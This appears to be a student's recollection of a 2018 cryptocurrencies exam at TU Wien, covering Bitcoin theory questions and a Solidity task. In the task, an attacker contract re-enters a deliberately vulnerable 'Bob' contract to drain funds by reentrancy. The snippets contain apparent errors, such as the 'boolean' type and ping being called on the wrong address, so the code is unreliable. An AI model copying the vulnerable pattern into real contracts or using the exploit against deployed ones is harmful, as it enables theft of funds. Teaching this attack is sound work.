TU Wien:Cryptocurrencies VU (Maffei)/Final Exam 2018-02-02

4 parts - MC, hash properties in hashlinked lists, anonymity in Bitcoin, solidity code

90 minutes

50 points total (I think it was 16+12+10+12)

MC

8 Theory questions, including:

• Are Bitcoin scripts Turing complete?
• Block nonce vs. coinbase nonce which gets altered first?
• Pay-To-Scrypt-Hash: Soft- or Hardfork
• A Softfork makes a subset or superset of the valid transactions invalid?
• What claims about Bitcoin are true?
  • There are no attacks on Bitcoin, if nobody gets over 50% computing power.
  • Cryptography is essential for preventing double spend.
  • ...
• ...

Hashes

Assume having a hashlinked list. Which of the hash properties collision freeness, hiding, puzzle friendlyness do you need? Sketch an attack scenario for each property that is needed.

Anonymity

Name and explain an anonymity concept in Bitcoin.

Smart Contracts in Solidity

A small contract ('Bob') was given as part of the problem specification and to help with the syntax for writing own code.

contract Bob {
 boolean sent = true;
 function ping(address x) {
  if (sent) {
   x.call.value(2)();
   sent = false;
  }
 }
}

The goal was to complete a Solidity smart contract ('Eve', having a function steal() and a fallback function), that should retrieve more than 2 Wei from Bob's contract and explain the process (especially why this works).

contract Eve {

 function steal() {
   msg.sender.ping(this);
 }

 function() payable {
   msg.sender.ping(this);
 }
}